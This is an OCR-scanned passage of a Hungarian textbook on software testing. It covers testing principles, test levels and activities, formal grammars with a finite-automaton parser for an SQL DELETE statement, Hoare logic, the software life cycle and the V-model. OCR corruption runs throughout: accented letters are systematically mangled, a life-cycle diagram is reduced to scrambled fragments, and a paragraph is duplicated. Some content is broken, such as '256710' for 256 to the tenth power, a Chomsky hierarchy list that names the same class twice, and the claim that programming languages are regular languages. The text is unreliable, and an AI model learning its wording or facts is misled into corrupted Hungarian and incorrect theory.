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1 A tesztelés alapfogalmai

Tesztelésre azért van szikség, hogy a szoftver termékben meglévé hibdkat még az lGzembe
helyezés el6tt megtaldljuk, ezzel noveljik a termék min&ségét, megbizhatdsagat. Abban szinte
biztosak lehetiink, hogy a szoftverben van hiba, hiszen azt emberek fejlesztik és az emberek
hibdznak. Gondoljunk arra, hogy a legegyszer(ibb programban, mondjuk egy szoveges meni
kezelésben, mennyi hibat kellett kijavitani, miel6tt mikod&képes lett. Tehat abban szinte biztosak
lehetiink, hogy tesztelés elStt van hiba, abban viszont nem lehetiink biztosak, hogy tesztelés utdn
nem marad hiba. A tesztelés utan azt tudjuk elmondani, hogy a letesztelt részekben nincs hiba, igy
né a program megbizhatdsaga. Ez azt is mutatja, hogy a program azon funkciéit kell tesztelni,
amiket a felhasznalodk legtdbbszor fognak hasznalni.

1.1 A tesztelés alapelvei
A tesztelés alapjait a kovetkez6 alapelvekben foglalhatjuk 6ssze:

1. Atesztelés hibak jelenlétét jelzi: A tesztelés képes felfedni a hibdkat, de azt nem, hogy
nincs hiba. Ugyanakkor a szoftver minGségét és megbizhatésagat noveli.

2. Nem lehetséges kimerit6 teszt: Minden bemeneti kombinaciét nem lehet letesztelni (csak
egy 10 hosszu karakterlancnak 256710 lehetséges értéke van) és nem is érdemes.
Altaldban csak a magas kockazatu és magas prioritasu részeket teszteljiik.

3. Korai teszt: Erdemes a tesztelést az életciklus minél korabbi szakaszaban elkezdeni, mert
minél hamar talalunk meg egy hibat (mondjuk a specifikacidban), annal olcsébb javitani. Ez
azt is jelenti, hogy nemcsak programot, hanem dokumentumokat is lehet tesztelni.

4. Hibdk csoportosulasa: A tesztelésre csak véges id6nk van, ezért a tesztelést azokra a
modulokra kell koncentralni, ahol a hibak a legvaldszinlbbek, illetve azokra a bemenetekre
kell tesztelniink, amelyre valdszintileg hibds a szoftver (pl. szélsGértékek).

5. Aféregirtd paradoxon: Ha az Ujratesztelés soran (lasd kés6ébb a regresszids tesztet) mindig
ugyanazokat a teszteseteket futtatjuk, akkor egy id6 utdn ezek mar nem taldlnak tobb hibat
(mintha a férgek alkalmazkodnanak a teszthez). Ezért a tesztjeinket néha bdviteni kell.

6. A tesztelés fligg a korilményekt6l: Masképp tesztellink egy atomerémiinek szant
programot és egy beadandét. Masképp tesztellink, ha a tesztre 10 napunk vagy csak egy
éjszakank van.

7. A hibdtlan rendszer téveszméje: Hidba javitjuk ki a hibakat a szoftverben, azzal nem lesz
elégedett a megrendeld, ha nem felel meg az igényeinek. Azaz haszndlhatatlan szoftvert
nem érdemes tesztelni.

1.2 Tesztelési technikak
A tesztelési technikakat csoportosithatjuk a szerint, hogy a teszteseteket milyen informacid
alapjan allitjuk eld. E szerint létezik:



e Feketedobozos (black-box) vagy specifikacié alapu, amikor a specifikacio alapjan késziilnek
a tesztesetek.

e Fehérdobozos (white-box) vagy strukturalis teszt, amikor a forraskdd alapjan készilnek a
tesztesetek.

Tehat beszélink feketedobozos tesztelésrGl, amikor a tesztel6 nem latja a forraskddot, de a
specifikacidkat igen, fehérdobozos tesztelésrél, amikor a forraskdd rendelkezésre all.

A feketedobozos tesztelést specifikacid alapunak is nevezziik, mert a specifikacié alapjan késziil.
Ugyanakkor a teszt futtatasahoz sziikség van a leforditott szoftverre. Leggyakoribb formaja, hogy
egy adott bemenetre tudjuk, milyen kimenetet kellene adni a programnak. Lefuttatjuk a
programot a bemenetre és 0sszehasonlitjuk a kapott kimenetet az elvarttal. Ezt alkalmazzak pl. az
ACM versenyeken is.

A fehérdobozos tesztelést strukturalis tesztelésnek is nevezziik, mert mindig egy mar kész
strukturdt, pl. program kédot, tesztellink. A strukturdlis teszt esetén értelmezhet6 a (struktura)
lefedettség. A lefedettség azt mutatja meg, hogy a struktura hany szazalékat tudjuk tesztelni a
meglévd tesztesetekkel. Altaldban ezeket a struktirakat teszteljiik:

e kodsorok,
e eldgazasok,
e metodusok,
e osztdlyok,
e funkciok,
e modulok.
Példaul a gyakran haszndlt unit-teszt a metédusok struktura tesztje.

1.3 A tesztelés szintjei
A tesztelés szintjei a kovetkezdk:

e komponensteszt,
e integrdciods teszt,
e rendszerteszt,
e JAtvételi teszt.

A komponensteszt csak a rendszer egy komponensét teszteli 6nmagaban. Az integracios teszt
ketté vagy tobb komponens egylttm(ikodési tesztje. A rendszerteszt az egész rendszert, tehat
minden komponenst egyiitt, teszteli. Ez els6 harom teszt szintet egylttesen fejleszt6i tesztnek
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hivjuk, mert ezeket a fejleszté cég alkalmazottai vagy megbizottjai végzik. Az atvételi teszt sordn a
felhasznaldk a kész rendszert tesztelik. Ezek altalaban idGrendben is igy kdvetik egymast.

A komponensteszt a rendszer 6nallé részeit teszteli altaldban a forraskdd ismeretében (fehér
dobozos tesztelés). Gyakori fajtai:

® unit-teszt,
e modulteszt.

A unit-teszt, vagy mas néven egységteszt, a metddusokat teszteli. Adott paraméterekre ismerjiik a
metddus visszatérési értékét (vagy mellékhatdsat). A unit-teszt megvizsgdlja, hogy a tényleges
visszatérési érték megegyezik-e az elvarttal. Ha igen, sikeres a teszt, egyébként sikertelen. Elvaras,
hogy magdnak a unit-tesztnek ne legyen mellékhatdsa.

A unit-tesztelést minden fejlett programozdsi kdrnyezet (integrated development environment,
IDE) tamogatja, azaz egyszerl( ilyen teszteket irni. A jelentGségiiket az adja, hogy a futtatasukat is
tdmogatjak, igy egy valtoztatds utdn csak lefuttatjuk az Osszes unit-tesztet, ezzel biztositjuk
magunkat, hogy a valtozds nem okozott hibat. Ezt nevezziik regresszids tesztnek.

A modulteszt altaldban a modul nem-funkcionalis tulajdonsagat teszteli, pl. sebességét, vagy, hogy
van-e memboriaszivargas (memory lake), van-e szlk keresztmetszet (bottleneck).

Az integrdacios teszt soran a komponensek kozti interfészeket, az operacids rendszer és a rendszer
kozti interfészt, illetve mds rendszerek felé nyujtott interfészeket tesztelik. Az integracids teszt
legismertebb tipusai:

e Komponens —komponens integracios teszt: A komponensek kdzotti kdlcsdnhatdsok tesztje
a komponensteszt utan.

e Rendszer —rendszer integracios teszt: A rendszer és mas rendszerek kozotti
kdlcsdnhatdsokat tesztje a rendszerteszt utdn.

Az integracids teszt az Osszeillesztés soran keletkez6 hibdkat keresi. Mivel a részeket mas-mas
programozok, csapatok fejlesztették, ezért az elégtelen kommunikaciébdl sudlyos hibak
keletkezhetnek. Gyakori hiba, hogy az egyik programozd valamit feltételez (pl. a metddus csak
pozitiv szamokat kap a paraméterében), amirél a masik nem tud (és meghivja a metddust egy
negativ értékkel). Ezek a hibdk kontraktus alapu tervezéssel (design by contract) elkerilhet6ek.

Az integracids teszteket érdemes minél hamarabb elvégezni, mert minél nagyobb az integracio
mértéke, annal nehezebb meghatdrozni, hogy a fellelt hiba (altaldban egy futasi hiba) honnan
szarmazik. Ellenkez6 esetben, azaz amikor mar minden komponens kész és csak akkor tesztellink,
akkor ezt a ,,nagy bumm tesztnek” (big bang tesztnek) nevezziik, ami rendkiviil kockazatos.

A rendszerteszt a mar kész szoftverterméket teszteli, hogy megfelel-e:

e a kovetelmény specifikacionak,



e a funkcionalis specifikacionak,
e arendszertervnek.

A rendszerteszt nagyon gyakran feketedobozos teszt. Gyakran nem is a fejleszt6 cég, ahol esetleg
elfogultak a tesztel6k, hanem egy fliggetlen cég végzi. llyenkor a tesztelSk és a fejlesztGk kozti
kapcsolat tartast egy hibabejelents (bug trucking) rendszer latja el. A rendszerteszt feladata, hogy
ellenérizze, hogy a specifikacioknak megfelel-e a termék. Ha pl. a kovetelmény specifikacié azt irja,
hogy lehessen jelentést késziteni az éve forgalomrdl, akkor ezt a tesztel6k kiprobaljak, hogy lehet-
e, és hogy helyes-e a jelentés. Ha hibat taldlnak, azt felviszik a hibabejelent6 rendszerbe.

Fontos, hogy a rendszerteszthez haszndlt kornyezet a lehetd legjobban hasonlitson a megrendel6
kornyezetére, hogy a kornyezet-specifikus hibdkat is sikeriiljon felderiteni.

Az atvételi teszt hasonléan a rendszerteszthez az egész rendszert teszteli, de ezt mar a
végfelhaszndldk végzik. Az atvételi teszt legismertebb fajtai a kdvetkezbk:

e alfa teszt,

e Dbéta teszt,

o felhasznaloi atvételi teszt,
e (izemeltet6i atvételi teszt.

Az alfa teszt a kész termék tesztje a fejlesztd cégnél, de nem a fejleszté csapat altal. Ennek része,
amikor egy kis segédprogram tobb millié véletlen egérkattintassal ellen6rzi, hogy Gssze-vissza
kattintgatva sem lehet kifektetni a programot.

Ezutan kovetkezik a béta teszt. A béta tesztet a végfelhasznalok egy szlk csoportja végzi.
Jatékoknal gyakori, hogy a kiadas el6tt néhany fanatikus jatékosnak elkiildik a jatékot, akik révid
alatt sokat jatszanak vele. Cserébe csak azt kérik, hogy a felfedezett hibdkat jelentsék.

Ezutan jon egy sokkal szélesebb béta teszt, amit felhasznaldi atvételi tesztnek neveziink. Ekkor mar
az 0Osszes, vagy majdnem az 6sszes felhasznald, megkapja a szoftvert és az éles kornyezetben
haszndlatba veszi. Azaz installdljdk és hasznaljak, de még nem a termelésben. Ennek a tesztnek a
célja, hogy a felhaszndlok meggy6z6djenek, hogy a termék biztonsdgosan haszndlhaté lesz majd
éles korulmények kozott is. Itt mar elvart, hogy a f6 funkciék mind mikodjenek, de el6fordulhat,
hogy az éles szinhelyen el6jon olyan kérnyezet fliggd hiba, ami a teszt kdrnyezetben nem jott eld.
Lehet ez pl. egy funkcid lassusaga.

Ezutan mar csak az Gzemeltetdi atvételi teszt van hatra. Ekkor a rendszergazdak ellenérzik, hogy a
biztonsagi funkciok, pl. a biztonsadgi mentés és a helyredllitas, helyesen mikodnek-e.

1.4 A tesztelési tevékenység
Ugyanakkor a tesztelés nem csak tesztek készitésébdl és futtatasabdl all. A leggyakoribb tesztelési
tevékenységek:



o tesztterv elkészitése,

e tesztesetek tervezése,

o felkészillés a végrehajtdsra,
e tesztek végrehajtdsa,

o kilépési feltételek vizsgalata,

e eredmények értékelése,

jelentéskészités.

A tesztterv fontos dokumentum, amely leirja, hogy mit, milyen céllal, hogyan kell tesztelni. A
tesztterv dltaldban a rendszerterv része, azon belil is a minGségbiztositas (quality assurance, QA)
fejezethez tartozik. A teszt célja lehet:

e megtalalni a hibakat,
e novelni a megbizhatdsagot,
e megel6zni a hibakat.

A fejlesztGi tesztek célja altaldban minél tobb hiba megtaldlasa. Az atvételi teszt célja, hogy a
felhasznaldk bizalma néjon a megbizhatésagban. A regresszids teszt célja, hogy megel6zni, hogy a
valtozdasok a rendszer tdbbi részében hibakat okozzanak.

A tesztterv elkészitéséhez a célon tul tudni kell, hogy mit és hogyan kell tesztelni, mikor tekintjiik a
tesztet sikeresnek. Ehhez ismerniink kell a kévetkez6 fogalmakat:

e Ateszt targya: A rendszer azon része, amelyet tesztellink. ez lehet az egész rendszer is.

o Tesztbazis: Azon dokumentumok Osszessége, amelyek a teszt targydra vonatkozd
kovetelményeket tartalmazzak.

e Tesztadat: Olyan adat, amivel meghivjuk a teszt targyat. Altaldban ismert, hogy milyen
értéket kellene erre adnia a teszt tdrgyanak vagy milyen viselkedést kellene produkalnia. Ez
az elvart visszatérési érték, illetve viselkedés. A valds visszatérési értéket, illetve viselkedést
hasonlitjuk 6ssze az elvarttal.

o Kilépési feltétel: Minden tesztnél elére meghatdrozzuk, mikor tekintjik ezt a tesztet
lezarhaténak. Ezt nevezziik kilépési feltételnek. A kilépési feltétel daltaldban az, hogy
minden tesztest sikeresen lefut, de lehet az is, hogy a kritikus részek tesztlefedettsége
100%.

A tesztterv leirja a teszt targyat, kigydjti a tesztbdazisbdl a teszt altal lefedett kovetelményeket,
meghatarozza a kilépési feltételt. A tesztadatokat altalaban csak a teszteset hatarozzdak meg, de
gyakran a tesztesetek is részei a teszttervnek.
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A tesztesetek leirjak, hogy milyen tesztadattal kell meghajtani a teszt targyat. llletve, hogy mi az
elvart visszatérési érték vagy viselkedés. A tesztadatok meghatdrozasahoz altaldban ugynevezett
ekvivalencia-osztalyokat allitunk fel. Egy ekvivalencia-osztaly minden elemére a szoftver
ugyanazon része fut le. Természetesen mas modszerek is léteznek, amikre kés6bb térink ki.

A tesztesetek végrehajtdsahoz teszt kornyezetre van sziikséglink. A teszt kdrnyezet kialakitdasanal
torekedni kell, hogy a lehet6 legjobban hasonlitson az éles kornyezetre, amely a végfelhasznalonal
mukodik. A felkésziilés soran irhatunk teszt szkripteket is, amik az automatizalast segitik.

A tesztek végrehajtasa sordn teszt napldt vezetiink. Ebbe irjuk le, hogy milyen Iépéseket hajtottunk
végre és milyen eredményeket kaptunk. A tesz napld alapjan a tesztnek megismételhetének kell
lennie. Ha hibat talalunk, akkor a hibabejelentét a teszt naplé alapjan toltjuk ki.

A tesztek utdn meg kell vizsgalni, hogy sikeresen teljesitettiik-e a kilépési feltételt. Ehhez a
tesztesetben leirt elvart eredményt hasonlitjuk 6ssze a teszt napléban Iévé valds eredménnyel a
kilépési feltétel alapjan. Ha kilépési feltételek teljesiiinek, akkor mehetiink tovabb. Ha nem, akkor
vagy a teszt targya, vagy a kilépési feltétel hibas. Ha kell, akkor mdédositjuk a kilépési feltételt. Ha
teszt targya hibas, akkor a hibabejelent6 rendszeren keresztil értesitjik a fejlesztéket. A teszteket
addig ismételjik, mig mindegyik kilépési feltétele igaz nem lesz.

A tesztek eredményei alapjan tovabbi teszteket készithetlink. Elhatarozhatjuk, hogy a megtaldlt
hibdkhoz hasonlé hibakat felderitjiik. Ezt dltaldban a teszttervek el6 is irjak. Donthetlink gy, hogy
egy komponenst nem érdemes tovabb tesztelni, de egy masikat tiizetesebben kell tesztelni. Ezek a
dontések a teszt irdnyitdsahoz tartoznak.

Végill jelentést kell készitenlink. Itt arra kell figyelnlink, hogy sok programozé kritikaként éli meg,
ha a kédjaban a tesztelSk hibat taldlnak. Ugy érzi, hogy rossz programozé és veszélyben van az
allasa. Ezért a tesztelGket nem vart tamadasok érhetik. Ennek elkerilésére a jelentésben nem
szabad személyeskedni, nem muszdj latnia féndknek, kinek a kédjaban volt hiba. A hibakat ra lehet
fogni a rovid id6re, a nagy nyomasra. J6, ha kiemeljiik a tesztelSk és a fejleszt6k kozos céljat, a
magas mindségi, hibamentes szoftver fejlesztését.

1.5 A programkodd formalis modellje
Szamos tesztelési médszer a program forraskddjanak elemzésén alapul. Ez az alpont a vonatkozd
legfontosabb alapismereteket foglalja 6ssze.

A programozasi nyelvek egyik fontos jellemzGje a szigoru szerkezet, a viszonylag egyszer(ibb
strukturdltsag. Mindkét jellemz6 abbdl fakad, hogy olyan nyelvet lehet automatikus feldolgozasra,
értelmezésre kivalasztani, amely

e hatékonyan feldolgozhaté egy automataval;
e elegendd kifejez6 ereje van az algoritmusok leirdsdra.

A programnyelvek egy mesterséges nyelvnek tekinthet6k, melyek teljesitik a fenti feltételeket. A
programozasi nyelvek elméleti hatterét a formalis nyelvek terilete fedi le.
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1.5.1 A forraskod szintaktikai ellenorzése

Az formalis nyelvek mondatok szavakbdl, jelekbdl torténd felépitését irjak le. Formalisan a formalis
nyelv egy parossal irhaté le, melyben adott az alapjelek halmaza és a képezhetd, elfogadott
mondatok halmaza. A mondatok halmaza az 6sszes képezhet6 véges jelsorozatok halmazanak

részhalmazaként értelmezheté.

2: jelek halmaza

Lc 2* : nyelv

A nyelvek esetében egy nyelvtan irja le a jelhalmazbdl képzett és a nyelv altal elfogadott mondatok
halmazat. A nyelvtan leirja a mondatok képzési szabalyait. A szabalyok alapvetéen

A—>B

alakuak, ahol a szimbdlumok mondat egységeket jeldlnek. A szimbdélumok vonatkozasaban

megkiilonboztetlink

e atomiszimbdlumokat (ezek a jelek, a X elemei)
e Osszetett szimbdlumokat (nagyobb egységeket fog dssze)

A nyelvtan formalis alakja az aldbbi kifejezéssel adhatdé meg

G =(TI NI RI s)

ahol
e T :atomi, terminalis szimbdlumok halmaza
e N: Osszetett szimbdélumok halmaza
e R:szabdlyok halmaza
e S: mondat szimbdélum, mely az N eleme.

Az egyes nyelvtanok lényegesen kiilonbozhetnek egymdstdl a szabalyok 6sszetettségét tekintve. A
formalis nyelvek nyelvtandnak legismertebb osztalyozdasi rendszere a Chomsky kategorizalds. A
Chomsky hierarchia négy nyelvtan osztalyt kiilonboztet meg:
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e reguldris nyelvek: a szabdlyok A — aB alakuak;

e kornyezet fliggd nyelvek: a szabalyok A — X* alakuak;

kornyezet fligg6 nyelvek: a szabdlyok UAV — UX*V alakuak;

altalanos nyelvek: nincs megkotés a szabdlyokra.

A kifejezésekben a kisbetlis elemek atomi szimbdélumot, a nagybetlis elemek 06sszetett
szimbdlumokat jeldlnek. Az X egy tetszéleges szimbdlum.

A programozasi nyelvek alapvetGen a regularis nyelvek osztdlyaba tartoznak. Egy SQL DELETE
parancs esetében példaul az aldbbi szabalyokat kell alkalmazni, ahol a példaban egy —egy sz6t is
atomi szimboélumnak tekintink.

S =delete R
R =fromQ
Q= "tabla P
Q = ?tabla
P =where O

O = ?feltétel

A mintaban a ? jel mogott egy Ujabb egység van, melyhez 6nallé sajat értelmezési nyelvtan
tartozik.

A nyelvtan alapjan egy bejové mondathoz meghatdrozhatd, hogy illeszkedik-e a megadott
nyelvtanra vagy sem. A regularis nyelvtanok esetében az ellendrzés egyik lehetséges eszkoze egy
FSA automata alkalmazasa.

A véges automatak olyan rendszert jelentenek, mely tartalmaz
e allapot elemeket (az elemzés egyes fazisait szimbolizaljak)
e Jdllapot dtmeneteket

o eseményeket

Az események az egyes allapot atmenetekhez kéthet6k. Az automata mikddési elve az aldbbi
alapelemeken nyugszik:



e indulaskor egy indulé allapotban van a rendszer

e egy esemény bekovetkezésekor allapot dtmenet valdsul meg: az aktualis allapotbdl azon
atmeneten megy tovabb, melyhez a bejov6 esemény tartozik

e az automata egy végallapot elérésekor all le

A szintaktika ellendérzéskor a végéllapot lehet egy elfogadd vagy egy elvetd (hiba) allapot.
Az automatdk a m(ikodés jellege szerint tobb csoportba kategorizalhatjuk, f6 tipusai:

e véges automata
e determinisztikus automata
e fuzzy automata
Az el6z6ekben ismertetett reguldris nyelvek megvaldsithatok véges automatdkkal igy az

értelmezés folyamata egy automatadval végrehajthatd. Az automata mikodési modellje egy
tablazattal foglalhatd 6ssze, melyben az alabbi oszlopok szerepelnek:

e induld dllapot
e esemény
e célallapot

Az esemény a forraskdd elemzésénél a soron kdvetkez6 beolvasott jelet (szét) jeloli. A DELETE
parancs setében az alabbi tablazat alapjan mikodhet az értelmezé:

S delete R

S * Hiba!
R from Q

R * Hiba!
Q ?tabla P

Q * Hiba!
P # OK!
P where o

P * Hiba!
o ?feltétel OK!
o * Hiba!




A tablazatban * jel jel6li az egyéb eseményeket és # jel a mondat vége eseménynek felel meg.

1.5.2 Forraskod szemantikai ellenérzése

A szintaktikai elemzés azt vizsgalja, hogy a kéd, mint mondatok sorozata érvényes-e, megfelel-e a
nyelvtan szabdlyainak. A nyelvtanilag érvényes mondatsor azonban nem biztos, hogy az elvart
tartalmu tevékenységet végzi el. Emiatt a szintaktikai helyesség nem garantdlja a tartalmi,
szemantikai helyességet.

A szemantikai helyesség ellen6rzése sokkal 6sszetettebb feladat, mint a szintaktika ellenérzése,
hiszen nem all rendelkezésre olyan szemantikai nyelvtan, amellyel 6ssze lehetne vetni a leirt
kédot. A kdéd ugyan karaktersorozatnak fele meg a forrasdllomanyban, de a tartalom
szempontjabol mas egységek strukturalhatd. A kéd szokasos reprezentacios alakjai:

e szavak sorozata (szintaktikai ellenérzéshez),

e utasitasok hierarchidja,

e végrehajtasi graf.

[ ]
A hierarchia reprezentdcié arra utal, hogy a szavakbdl rendszerint egy nagyobb utasitas egység all
Ossze, és az utasitdsok legtobbszér egymdsba agyazhaték. A fontosabb algoritmus szerkezeti

elemek:

modul (rutin)
e szekvencia
o clagazas

ciklus

A hierarchikus szerkezetet jelzi, hogy egy elagazds tartalmazhat
e szekvenciat,
e elagazast,
e ciklust.

Tehat a program algoritmusa strukturdlisan rekurziv felépitési. A algoritmus megadasa mellet a
program masik f6 egysége az adatstruktura leirdsa. Az adatstruktura esetében is ez hierarchikus
szerkezettel taldlkozhatunk. A f6bb adattarolasi egységek:

e skalar
e tomb
e halmaz
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e rekord
e fa
Itt is igaz, hogy egyes egységek mads adatelemeket magukba foglalhatnak.

A hierarchia reprezentacid a program statikus szerkezeté irja le, a program azonban egy
végrehajtasi szerkezet ad meg. A program hagyomanyos végrehajtdsa sordn mindig van egy
kitintetett utasitds, mely végrehajtds alatt all. Ez az aktudlis utasitds vandorol a program futasa
alatt. Egy adott utasitasbél egy vagy tobb mads utasitdsba kerilhet at a vezérlés.

A végrehajtasi graf formalizmusban az egyes utasitasokat mint csomdépontokat vessziik, és a
vezérlés atadasokat a graf éleit szimbolizaljak. A grafban taldlhatd egy jelolé elem, token, mely
mutatja az aktudlis utasitds helyét. A program futdsa jél nyomon kovetheté a grafban a token
mozgasat kovetve. A graf formalizmus tehdat a program dinamikus jellegét mutatja.

A program helyességének biztositasa a szoftverfejlesztés egyik legfontosabb feladata. A tesztelés
folyamata, mely soran ellenérzésre keriil a program helyessége sokféleképpen értelmezhets. A
tesztelést végezhetS szisztematikus prébdlkozasokkal is, de ha nem sikeril minden lehetséges
esetet lefedni, akkor ez a mddszer nem garantalhatja a program teljeskor( helyességét. Csak
olyam megoldds adhat biztonsdgot, amely bizonyithatdan le tudja fedni a lehetséges eseteket.
Erezhetd, ezen igényt csak egy matematikailag megalapozott mdédszer tudna biztositani. Erdekes
kérdés, hogy van-e ilyen matematikai formalizmus és az vajon alkalmazhaté-e a gyakorlati méret(
feladatokban. A kovetkezd részben a tesztelés formalis megkdzelitésének alapjait tekintjiik at
roviden.

A formalis tesztelés elméleti alapjait Hoare fektette le 1969-ben, bevezetve az axiomatikus
szemantika teriilet fogalmat, melynek célja a programok viselkedésének leirdasa és helyességiik
bizonyitasa.

Az axiomatikus szemantika alapvet6en a matematikai logika eszkdzrendszerére épul és egyik
alapeleme a megkotés, assertion fogalma. Az assertion egy olyan allitas, predikatum, amelyet a
programnak valamely pontjdban teljesitenie kell. A modell tovabbi lényeges elemei az
el6feltételek (precondition) és az végfeltételek (postcondition). A mddszer tehat nem 6nmagaban
vizsgalja a program helyességét, keretfeltételek mellett végzi az ellen6rzést. Felteszi, hogy indulds
el6tt igaz a precondition és végén teljesiilnie kell a postcondition megkotésnek. A program tehat

egy
{P}s {Q}
harmassal adott, ahol
P : precondition
s : source (forraskod)
Q: postcondition.
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Természetesen a P és Q részek lehetnek mindig teljesuls kifejezések is. A Hoare formalizmus célja
a program részleges helyességének ellendrzése, tehat annak bizonyitdsa, hogy ha P teljesiil, akkor
az s végrehajtasa utan Q is teljeslilni fog.

A moddszer a matematikai logika eszkdzrendszerére alapozva P-bél kiindulva az s elemeinek
felhasznalasdval levezeti a Q helyességét. A levezetés logikdban megszokott implikacios
szabalyokra épit, melyeket

(p1,p2,p3,..) >q

alakban lehet megadni és azt jelzi, hogy ha teljesiilnek a p1,p2,p3 ... logikai kifejezések, akkor a q
allitas is teljesul. A levezetési szabdlyok egy s program esetén az aldbbi tipusokat fedik le:

- hozzarendelés (assignment rule)

- szekvencia (sequence rule)

- ugras (skip rule)

- feltételes eldagazas (conditional rule)
- ciklus (loop rule)

Mivel a Q levezetése a P-bél tobb |épésen keresztiil torténhet csak, a bizonyitds egy levezetési
faval irhatd le.

Példaként a feltételes utasitdshoz tartozé szabalyt véve, az implikacié a kdvetkez6 alakot olti:

({t AP}s1{Q}, {(—tAP}s2{Q})— {P}if (t) s1elses2{Q}

A feldolgozds egy tovabbi eleme a feltételek erGsitése vagy gyengitése. A precondition er@sitése
formalizmusa:

(PP, {P'}s{Q}) >{P}s {Q}

Példaul ez alapjan vezethetd le az alabbi 6sszefliggés:
(a>b >a=max(a,b), {a=max(a,b)} m =a{m = max(a,b)}) -

{a>b} m=a {m=max(a,b)}

A fenti példakbdl is jol 1athatd, hogy a Hoare formalizmus a helyesség ellenGrzését igen absztrakt
szinten végzi és igen korilményes és koltséges a levezetési fa felépitése. Emiatt a modszert
napjainkban még csak kisebb méretli feladatoknal alkalmazzdk és a gyakorlati rendszerekben
dontben a heurisztikus médszerek dominalnak.
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2 Atesztelés helye a szoftver életciklusaban

Ebben a fejezetben roviden attekintjik a szoftver életciklusat és az ezt meghatdrozo
legfontosabb maddszertanokat. Kilon kiemeljik a tesztelés helyét az életciklusban és a
modszertanokban is.

2.1 A szoftverkrizis

A tesztelés szlikségességét, mint annyi mdst, a szoftverkrizis (software crisis) huzta ala. A
szoftverkrizis alatt azt értjik, hogy a szoftver projektek jelentds része sikertelen. Sikertelen a
kovetkezd értelemben:

e Vagy a tervezettnél dragdbban készil el (over budget),

e Vagy a tervezetnél hosszabb id§ alatt (over time),

e Vagy nem az igényeknek megfeleld,

e Vagy rossz min8ségl / rossz hatasfoku / nehezen karbantarthato,
e Vagy anyagi / kornyezeti / egészségugyi karhoz vezet,

e Vagy atadasra sem kerdil.

Ezek kozil a tesztelés a minGségi problémadkra ad valaszt, illetve a karokozas megel§zésében
segit. Tehat tesztelésre azért van sziikség, hogy a szoftver termékben meglévé hibdkat még
az Uzembe helyezés el6tt megtalaljuk, ezzel néveljik a termék minGségét, megbizhatdsagat.
Abban szinte biztosak lehetiink, hogy a szoftverben van hiba, hiszen azt emberek fejlesztik és
az emberek hibaznak. Gondoljunk arra, hogy a legegyszerlibb programban, mondjuk egy
szoveges menl kezelésben, mennyi hibat kellett kijavitani, miel6tt mikodSképes lett. Tehat
abban szinte biztosak lehetlink, hogy tesztelés el6tt van hiba, abban viszont nem lehetlink
biztosak, hogy tesztelés utdn nem marad hiba. A tesztelés utan azt tudjuk elmondani, hogy a
letesztelt részekben nincs hiba, igy n6 a program megbizhatdsaga. Ez azt is mutatja, hogy a
program azon funkcioit kell tesztelni, amiket a felhasznaldk legtobbszor fognak hasznalni.

2.2 Aszoftver életciklusa

A szoftver életciklus (Software Development Life Cycle (SDLC)) a szoftverrel egy idds
fogalom. Ha atadunk egy szoftvert a felhasznaléknak, akkor a felhaszndldk el6bb vagy utébb
Ujabb igényekkel allnak el6, ami a szoftver tovabbfejlesztését teszi sziikségessé. Tehat egy
szoftver soha sincs kész, ciklikusan meg-megujul. Ezt nevezziik életciklusnak.

Az életciklus l|épéseit a mddszertanok hatdrozzak meg. Ezeket kés6bb fejtjik ki. Itt egy
altalanos életciklust tekintlink at.

A szoftverfejlesztés életciklusa (zaréjelben a legfontosabb elkészitend6 termékek):



o A felhasznalékban uj igény meril fel.

o Azigények, kovetelmények elemzése, meghatdrozasa (kovetelmény specifikaciod).
e Rendszerjavaslat kidolgozasa (funkcionalis specifikacid, szerz6déskotés).

e Rendszerspecifikacio (megvaldsithatdsagi tanulmany, nagyvonald rendszerterv).
o Logikai és fizikai tervezés (logikai- és fizikai rendszerterv).

e Implementacio (szoftver).

o Tesztelés (tesztterv, tesztesetek, teszt napld, validalt szoftver).

e Rendszeratadas és bevezetés (felhasznaléi dokumentacio).

e Uzemeletetés és karbantartds (rendszeres mentés).

e A felhasznalékban uj igény meril fel.

L} igény

Felmeriilése

Uzemeletetés és
karbantartis

aratadis Rendszen

és bevezetés kidolgozis

Rendszerspeci-
fikdrid

o A - — i
prew reg - = oy

i d|' aTieTitRcic

L L IS SR S T T I DT

Logikai és hizikai

. 4bra Eletciklus

Lathatd, hogy az elsé |épés és az utolsd ugyanaz. Ez biztositja a ciklikussagot. Elvileg egy
hasznos szoftvernek végtelen az életciklusa. Gyakorlatilag a szoftver és futdsi kornyezete
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eloregszik. EI6bb-utédbb mar nem lesz programozé, aki ismerné a programozasi nyelvet, amin
irédott (ilyen probléma van manapsdg a COBOL programokkal), a futtaté operdcios
rendszerhez nincsenek frissitések, a meghibdsodott hardver elemeket nem lehet pétolni. Az
ilyen IT rendszereket hivjuk ,legacy system”-nek (kioregedett, hagyaték rendszernek).
Valahol itt van vége az életciklusnak. Az életciklus egyes lépéseit részletesebben is kifejtjik.

2.3 Maddszertanok

A modszertanok feladata, hogy meghatarozzdk, hogy a szoftver életciklus egyes [épései
milyen sorrendben kovetik egymast, milyen dokumentumokat, szoftver termékeket kell
el6allitani és hogyan. Egy nagy szabalykonyvre emlékeztetnek, ami pontosan leirja, hogyan
kell szoftvert ,f6zni”. Ha betartjuk a receptet, akkor egy atlagos min&ségl szoftvert kapunk,
de az atlagos mindség garantalt.

A kovetkezGkben azokat a mddszertanokat ismertetjiik, amelyek kilondsen nagy hangsulyt
fektetnek a tesztelésre.

2.4 V-modell

A V-modell (angolul: V-Model vagy Vee Model) a nevét onnan kapta, hogy két szara van és
igy egy V betlihoz hasonlit. Az egyik szara megegyezik a vizesés modellel. Ez a fejlesztési szar.
A masik szara a létrejové termékek tesztjeit tartalmazza. Ez a tesztelési szar. Az egy szinten
lévé fejlesztési és tesztelési Iépések Osszetartoznak, azaz a tesztelési [épés a fejlesztési |épés
soran létrejott dokumentumokat hasznalja, vagy a l|étrejott terméket teszteli. Ennek
megfelel6en az elbirt fejlesztési és tesztelési |épések a kovetkezbk:



A V-modell a vizesés modell kiegészitése teszteléssel. Ez azt jelenti, hogy el&szor végre kell
hajtani a fejlesztés |épéseit, ezutdn jonnek a tesztelés |épései. Ha valamelyik teszt hibat talal,
akkor vissza kell menni a megfelel6 fejlesztési [épésre.

A V-modell hasonldéan a vizesés modellhez nagyon merev, de alkalmazdéi kevésbé
ragaszkodnak ehhez a merevséghez, mint a vizesés modell alkalmazéi. Ennek megfeleléen
jobban elterjedt. F6 jellemzéje a teszt kdzponti szerepe.

Egy tipikus V-modell valtozatban el&szor felmérjik az igényeket és elkészitjik a kbvetelmény
specifikaciot. Ezt Uzleti elemz6k végzik, akik a megrendeld és a fejleszték fejével is képesek
